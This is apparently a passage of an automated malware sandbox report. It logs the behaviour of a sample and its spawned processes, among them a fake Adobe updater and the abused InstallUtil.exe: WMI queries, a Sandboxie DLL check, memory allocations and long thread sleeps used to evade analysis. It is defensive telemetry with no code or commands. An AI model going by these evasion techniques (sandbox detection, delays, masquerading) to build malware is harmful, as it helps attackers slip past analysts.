Source: C:\Users\user\AppData\Local\Temp\build.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\build.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: 6RE1Z857ae.exe, 00000000.00000002.2197191438.0000000003010000.00000004.00000800.00020000.00000000.sdmp, Adobe_Install_Updater.exe, 0000000C.00000002.2373598901.0000000002450000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000010.00000002.2441230781.00000000030C1000.00000004.00000800.00020000.00000000.sdmp, Adobe_Install_Updater.exe, 00000014.00000002.2464667993.0000000002940000.00000004.00000800.00020000.00000000.sdmp, Plain_Checker.exe, 0000001B.00000002.2540044072.0000000002FD0000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000022.00000002.2558260556.0000000002DEC000.00000004.00000800.00020000.00000000.sdmp, Yftssfzf.exe, 00000036.00000002.2775307801.00000000027A0000.00000004.00000800.00020000.00000000.sdmp, Yftssfzf.exe, 0000003A.00000002.2857282148.00000000024E0000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Memory allocated: 2D70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Memory allocated: 2FE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Memory allocated: 2D70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Memory allocated: 1370000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Memory allocated: 2E60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Memory allocated: 4E60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: FC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2C80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 4C80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Memory allocated: 930000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Memory allocated: 2420000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Memory allocated: 4420000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 1350000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 3090000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2EB0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Memory allocated: D10000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Memory allocated: 2910000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Memory allocated: 2860000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Memory allocated: 2D60000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Memory allocated: 2FA0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Memory allocated: 2DC0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: D50000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 27A0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 47A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\build.exe	Memory allocated: 2640000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\build.exe	Memory allocated: 27F0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\build.exe	Memory allocated: 47F0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2BE0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2DE0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 4DE0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: D50000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2B80000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 1310000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2CD0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2EA0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 4EA0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Memory allocated: 2530000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Memory allocated: 2770000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Memory allocated: 2570000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Memory allocated: 22A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Memory allocated: 24B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Memory allocated: 22C0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: F80000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 29D0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: FE0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 3200000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 34B0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 3200000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\build.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\build.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Window / User API: threadDelayed 2687	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Window / User API: threadDelayed 4963	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Window / User API: threadDelayed 2836	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Window / User API: threadDelayed 4088	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 2384	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 7236	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Window / User API: threadDelayed 2164
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Window / User API: threadDelayed 2995
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 2886
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 3469
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Window / User API: threadDelayed 3156
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Window / User API: threadDelayed 3554
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Window / User API: threadDelayed 4205
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Window / User API: threadDelayed 3996
Source: C:\Users\user\AppData\Local\Temp\build.exe	Window / User API: threadDelayed 2702
Source: C:\Users\user\AppData\Local\Temp\build.exe	Window / User API: threadDelayed 6408
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 3527
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 4608
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Window / User API: threadDelayed 3218
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Window / User API: threadDelayed 5004
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Window / User API: threadDelayed 3311
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Window / User API: threadDelayed 6511

Source: C:\Users\user\Desktop\6RE1Z857ae.exe TID: 1436	Thread sleep time: -25825441703193356s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe TID: 1436	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe TID: 6556	Thread sleep count: 2687 > 30	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe TID: 1848	Thread sleep count: 4963 > 30	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe TID: 1436	Thread sleep time: -99877s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe TID: 1436	Thread sleep time: -99766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe TID: 1436	Thread sleep time: -99656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe TID: 1436	Thread sleep time: -99497s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe TID: 1436	Thread sleep time: -99391s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe TID: 1436	Thread sleep time: -99271s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe TID: 1436	Thread sleep time: -99156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe TID: 1436	Thread sleep time: -99047s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe TID: 1436	Thread sleep time: -98937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe TID: 1436	Thread sleep time: -98828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe TID: 1436	Thread sleep time: -98719s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe TID: 1436	Thread sleep time: -98594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe TID: 1436	Thread sleep time: -98484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe TID: 1436	Thread sleep time: -98375s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe TID: 1436	Thread sleep time: -98240s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe TID: 1436	Thread sleep time: -98125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe TID: 1436	Thread sleep time: -98015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe TID: 1436	Thread sleep time: -97897s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe TID: 1436	Thread sleep time: -97795s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe TID: 1436	Thread sleep time: -97687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe TID: 1436	Thread sleep time: -97578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe TID: 1436	Thread sleep time: -97461s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe TID: 1436	Thread sleep time: -97359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe TID: 1436	Thread sleep time: -97250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe TID: 1436	Thread sleep time: -97119s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe TID: 1436	Thread sleep time: -97016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe TID: 1436	Thread sleep time: -96906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe TID: 1436	Thread sleep time: -96797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe TID: 1436	Thread sleep time: -96688s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe TID: 1436	Thread sleep time: -96563s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe TID: 1436	Thread sleep time: -96438s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe TID: 1436	Thread sleep time: -96313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe TID: 1436	Thread sleep time: -96203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe TID: 1436	Thread sleep time: -96092s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe TID: 1436	Thread sleep time: -95984s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe TID: 4072	Thread sleep time: -23980767295822402s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe TID: 1600	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe TID: 5376	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1292	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1292	Thread sleep time: -31359464925306218s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1292	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1292	Thread sleep time: -99869s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3920	Thread sleep count: 2384 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3920	Thread sleep count: 7236 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1292	Thread sleep time: -99764s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1292	Thread sleep time: -99656s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1292	Thread sleep time: -99546s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1292	Thread sleep time: -99437s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1292	Thread sleep time: -99328s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1292	Thread sleep time: -99218s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1292	Thread sleep time: -99107s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1292	Thread sleep time: -99000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1292	Thread sleep time: -98890s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1292	Thread sleep time: -98777s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1292	Thread sleep time: -98671s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1292	Thread sleep time: -98562s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1292	Thread sleep time: -98453s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1292	Thread sleep time: -98343s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1292	Thread sleep time: -98234s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1292	Thread sleep time: -98124s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1292	Thread sleep time: -98009s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1292	Thread sleep time: -97890s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1292	Thread sleep time: -97781s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1292	Thread sleep time: -97671s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1292	Thread sleep time: -97562s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1292	Thread sleep time: -97453s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1292	Thread sleep time: -97343s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1292	Thread sleep time: -97234s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1292	Thread sleep time: -97125s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1292	Thread sleep time: -97015s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1292	Thread sleep time: -96906s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1292	Thread sleep time: -96796s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1292	Thread sleep time: -96687s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1292	Thread sleep time: -96578s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1292	Thread sleep time: -96440s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1292	Thread sleep time: -96298s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1292	Thread sleep time: -96171s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1292	Thread sleep time: -96062s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1292	Thread sleep time: -95953s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1292	Thread sleep time: -95843s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1292	Thread sleep time: -95734s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1292	Thread sleep time: -95625s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1292	Thread sleep time: -95515s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1292	Thread sleep time: -95406s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1292	Thread sleep time: -95296s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1292	Thread sleep time: -95187s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1292	Thread sleep time: -95078s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1292	Thread sleep time: -94968s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1292	Thread sleep time: -94859s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1576	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5040	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 5880	Thread sleep time: -14757395258967632s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 5880	Thread sleep time: -100000s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 6948	Thread sleep count: 2164 > 30
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 5880	Thread sleep time: -99797s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 6948	Thread sleep count: 2995 > 30
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 5880	Thread sleep time: -99671s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 5880	Thread sleep time: -99545s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 5880	Thread sleep time: -99437s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 5880	Thread sleep time: -99327s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 5880	Thread sleep time: -99217s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 5880	Thread sleep time: -99107s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 5880	Thread sleep time: -99000s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 5880	Thread sleep time: -98890s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 5880	Thread sleep time: -98781s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 5880	Thread sleep time: -98671s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 5880	Thread sleep time: -98562s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 5880	Thread sleep time: -98452s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 5880	Thread sleep time: -98336s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 5880	Thread sleep time: -98150s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 5880	Thread sleep time: -97750s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 5880	Thread sleep time: -97605s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 5880	Thread sleep time: -97499s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 5880	Thread sleep time: -97389s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 5880	Thread sleep time: -97281s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 5880	Thread sleep time: -97171s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 5880	Thread sleep time: -97062s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 5880	Thread sleep time: -96953s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 5880	Thread sleep time: -96842s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 5880	Thread sleep time: -96734s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 5880	Thread sleep time: -96625s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6760	Thread sleep time: -19369081277395017s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6760	Thread sleep time: -100000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2292	Thread sleep count: 2886 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6760	Thread sleep time: -99871s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6760	Thread sleep time: -99745s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6760	Thread sleep time: -99640s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2292	Thread sleep count: 3469 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6760	Thread sleep time: -99531s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6760	Thread sleep time: -99422s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6760	Thread sleep time: -99312s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6760	Thread sleep time: -99203s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6760	Thread sleep time: -99094s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6760	Thread sleep time: -98969s >= -30000s
